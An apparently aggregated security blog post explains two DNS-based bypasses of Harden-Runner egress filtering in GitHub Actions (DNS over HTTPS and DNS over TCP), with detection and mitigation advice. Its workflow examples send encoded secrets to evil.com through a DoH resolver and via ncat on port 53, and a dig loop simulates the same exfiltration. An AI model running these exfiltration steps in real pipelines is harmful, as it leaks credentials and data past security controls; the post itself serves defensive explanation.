Listen to this Post
Introduction:
Egress filtering is a critical security control in CI/CD environments like GitHub Actions, designed to prevent compromised workflows from exfiltrating data or communicating with unauthorized external services. Harden-Runner is a popular security tool that enforces strict egress rules for GitHub-hosted runners. Recent research by Devansh Batham uncovered two novel bypass techniques—using DNS over HTTPS (DoH) and DNS over TCP—that allow attackers to circumvent these restrictions, leading to CVE-2026-32947 and CVE-2026-32946. These vulnerabilities highlight how DNS protocols can be weaponized to leak sensitive information even under tight network policies.
Learning Objectives:
- Understand how egress filtering works in GitHub Actions and the role of Harden-Runner.
- Learn the technical mechanisms behind DNS over HTTPS and DNS over TCP bypasses.
- Gain practical skills to detect, test, and mitigate such egress bypass vulnerabilities.
You Should Know:
1. Harden-Runner and Egress Filtering Basics
Harden-Runner is a GitHub Action that monitors and restricts outbound network traffic from a workflow runner. It allows only explicitly permitted domains/IPs and blocks everything else. This is achieved by hooking into system calls or using eBPF on Linux. However, DNS traffic is often allowed because it’s necessary for name resolution. Attackers can abuse this by tunneling data through DNS queries.
2. DNS Over HTTPS (DoH) Bypass – CVE-2026-32947
DoH encrypts DNS queries within HTTPS, making them indistinguishable from normal web traffic. If Harden-Runner allows outbound HTTPS to any IP (common for API calls), an attacker can use a DoH resolver like Cloudflare’s (1.1.1.1) to exfiltrate data. The DNS queries are hidden inside TLS tunnels, bypassing egress rules that only inspect plaintext DNS.
Step‑by‑Step Exploitation in GitHub Actions:
- Create a malicious GitHub Actions workflow that includes Harden-Runner with restrictive egress rules (e.g., only allow
api.github.com). - Add a step that runs a DoH client to send encoded data. Example using `curl` and `dog` (a DoH CLI tool):
</li> </ol> - name: Exfiltrate via DoH run: | Encode data as subdomain data=$(echo "secret" | base64 | tr -d '\n' | sed 's/=//g') dog -H https://1.1.1.1/dns-query $data.evil.com A
Here, `dog` sends a DNS query for a subdomain containing base64‑encoded data. The DNS response is irrelevant; the query itself leaks data.
3. DNS Over TCP Bypass – CVE-2026-32946
Traditional DNS uses UDP, but DNS over TCP is also supported (e.g., for large responses). If Harden-Runner allows outbound TCP to port 53 (DNS), an attacker can establish a long‑lived TCP connection and tunnel arbitrary data. Since egress filters often inspect packet content, but TCP streams can be crafted to look like legitimate DNS, this bypass is stealthy.
Step‑by‑Step Exploitation with Netcat:
- Set up a malicious DNS server listening on TCP/53 that accepts raw data.
- In the GitHub Action, use a tool like `ncat` to send data over TCP/53:
</li> </ol> - name: Exfiltrate via DNS TCP run: | echo "sensitive_data" | ncat --ssl evil.com 53
Adding `–ssl` can further obscure the traffic. Harden-Runner might not inspect the payload deeply.
4. Detecting DNS Tunneling in CI/CD
To identify such bypasses, monitor DNS query patterns:
- Unusually long subdomains or high entropy in domain names.
- Excessive DNS queries to a single domain.
- Use of DoH resolvers not in your allowlist.
- TCP connections to port 53 with large data transfers.
Linux Commands for Detection:
Capture DNS traffic on runner (if you have root) tcpdump -i any -n port 53 -w dns.pcap Analyze with tshark tshark -r dns.pcap -Y "dns.qry.name.len > 50"
5. Mitigation Strategies
- Upgrade Harden-Runner to the latest patched version (v2.10.1 or higher) that includes fixes for these CVEs.
- Restrict DoH resolvers by blocking known public DoH IPs (1.1.1.1, 8.8.8.8, etc.) in egress rules.
- Enforce DNS over TLS with strict server allowlists if DNS encryption is required.
- Monitor and alert on anomalous DNS activity using GitHub Actions logs and external SIEM.
6. Hardening GitHub Actions Workflows
- Use `actions/checkout` with minimal permissions.
- Implement network policies via Harden-Runner’s `egress-policy: block` and explicitly allow only necessary domains.
- Regularly audit workflow runs for unexpected outbound connections.
- Consider using self‑hosted runners with additional network security controls (e.g., firewall rules).
7. Commands and Tools for Testing Egress Controls
Linux (inside a runner):
Test DNS over HTTPS curl -H "accept: application/dns-json" "https://1.1.1.1/dns-query?name=example.com&type=A" Test DNS over TCP dig +tcp example.com @8.8.8.8 Simulate data exfiltration via DNS for i in {1..10}; do dig "data$i.evil.com" @8.8.8.8 doneWindows (PowerShell):
Test DoH Invoke-RestMethod -Uri "https://1.1.1.1/dns-query?name=example.com&type=A" -Headers @{"accept"="application/dns-json"} Test DNS TCP Resolve-DnsName -Name example.com -Server 8.8.8.8 -TcpOnlyTool Configurations:
- dog (DoH client): `dog -H https://dns.google/dns-query example.com A`
- dnscat2 for advanced tunneling: `dnscat2-server` and client.
What Undercode Say:
- Key Takeaway 1: Egress filtering is not foolproof; attackers constantly innovate by abusing allowed protocols like DNS. The discovery of DoH and DNS TCP bypasses in Harden-Runner demonstrates that security tools must evolve to inspect encrypted and unconventional traffic.
- Key Takeaway 2: Patching alone isn’t enough—organizations must adopt defense‑in‑depth. Combining runtime monitoring, strict allowlists, and behavioral analytics is essential to detect and prevent data exfiltration in CI/CD pipelines.
The vulnerabilities underscore a broader trend: as security controls improve, adversaries turn to protocol abuse. DNS, once trusted, is now a prime vector for covert channels. Developers and security teams must treat DNS traffic with the same scrutiny as any other network communication. Moreover, the open‑source nature of Harden-Runner allowed researchers to uncover these flaws, reinforcing the value of community‑driven security audits. Future CI/CD security tools will likely need to implement deep packet inspection for all protocols, including encrypted DNS, and leverage machine learning to identify anomalous patterns. This incident also highlights the importance of timely updates—many users remain vulnerable because they delay patching. Finally, the use of DNS for exfiltration is not new, but its application in ephemeral CI/CD environments poses unique challenges for incident response.
Prediction:
These DNS‑based bypass techniques will inspire a new wave of attacks against serverless and CI/CD platforms. As more organizations adopt strict egress controls, adversaries will increasingly turn to protocol tunneling—especially DNS, HTTP/3, and WebSockets—to exfiltrate data. We can expect to see CVEs in other egress‑filtering tools and a surge in research focused on covert channels in DevOps pipelines. The industry will respond by developing specialized egress sensors that analyze DNS query entropy and behavior, possibly integrating with AI‑driven anomaly detection. In the long term, the lines between network security and application security will blur, forcing a holistic rethinking of how we secure ephemeral build environments.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Devansh Batham – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
